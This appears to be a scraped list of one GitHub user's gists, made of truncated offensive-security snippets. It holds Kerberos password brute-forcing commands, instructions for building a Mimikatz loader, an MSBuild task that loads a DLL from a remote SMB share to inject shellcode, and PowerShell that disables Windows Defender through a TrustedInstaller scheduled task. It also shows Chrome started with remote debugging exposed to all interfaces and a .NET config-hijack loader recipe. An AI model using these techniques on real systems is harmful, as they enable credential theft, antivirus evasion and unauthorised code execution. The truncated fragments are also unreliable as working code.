djhohnstein

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

djhohnstein

 1. Download the latest release of mimikatz: https://github.com/gentilkiwi/mimikatz/releases 
 
 2. Get Mimikatz PE Loader from https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a
 
 3. use @pljoel katz.cs cs file and uncomment the building lines available on Delivery.Program.Main() & comment Exec() line of code.
 
 4. Build it to generate file.b64, copy its content and replace Package.file string available on payload.txt file.
 
 6. Make sure payloadPath var is properly set on "TestAssemblyLoader.cs"
 

djhohnstein

typedef interface IEditionUpgradeManager IEditionUpgradeManager;

typedef struct IEditionUpgradeManagerVtbl {

    BEGIN_INTERFACE

    HRESULT(STDMETHODCALLTYPE *QueryInterface)(
        __RPC__in IEditionUpgradeManager * This,
        __RPC__in REFIID riid,

djhohnstein

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007

djhohnstein

Keybase proof

I hereby claim:

• I am djhohnstein on github.
• I am dhohnstein (https://keybase.io/dhohnstein) on keybase.
• I have a public key ASBXY12kITB35myNRReKqaIER1msn9v8hnyn_uWS1Nx63wo

To claim this, I am signing this object:

djhohnstein

Target

Start Chrome with the following flags:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"

--remote-debugging-port=9222

--remote-debugging-address=0.0.0.0

djhohnstein

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
            <Target Name="MyTarget">
                <SimpleTask MyProperty="My voice is my passport."
                MyCode='<base64 encoded x64 shellcode>'
		MyProcess='C:\Program Files\Internet Explorer\iexplore.exe'/>
            </Target>
        <UsingTask TaskName="SimpleTask" AssemblyFile="\\192.168.120.129\share\IEShims.dll" />
</Project>

djhohnstein

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
	<Target Name="Hello" >

	<!-- Call ANY .NET API -->
	<!-- 
	
		Author: Casey Smith, Twitter: @subTee
		 
		License: BSD 3-Clause
	

djhohnstein

GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

djhohnstein

$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'

$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a

$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()

$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')